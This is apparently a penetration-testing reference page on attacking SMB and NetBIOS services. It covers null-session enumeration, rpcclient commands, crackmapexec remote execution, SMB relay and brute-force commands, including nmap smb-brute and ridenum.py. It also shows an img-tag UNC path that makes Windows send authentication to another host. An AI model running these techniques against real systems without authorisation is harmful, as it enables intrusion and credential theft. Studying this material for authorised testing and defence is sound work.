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**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network \(LAN\) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one \(the client\) sends a command to “call” another client \(the server\) over **TCP Port 139**. \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)
```text
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\)
```text
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### IPC$ share
From book _**Network Security Assessment 3rd edition**_
With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:
* Operating system information
* Details of the parent domain
* A list of local users and groups
* Details of available SMB shares
* The effective system security policy
## What is NTLM
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about [**NTLM** where is explained **how this protocol works and how you can take advantage of it**](../windows/ntlm/).
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version**
**Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"**
You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** \(often requiring credentials\).
#### Users enumeration
* **List users**: `querydispinfo` and `enumdomusers`
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session \(e.g. null session or valid credentials\). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
Both options will **create a new service** \(using _\pipe\svcctl_ via SMB\) in the victim machine and use it to **execute something** \(**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-\).
**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md).
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system****shell**.
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the funcions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools \(like Skype\)
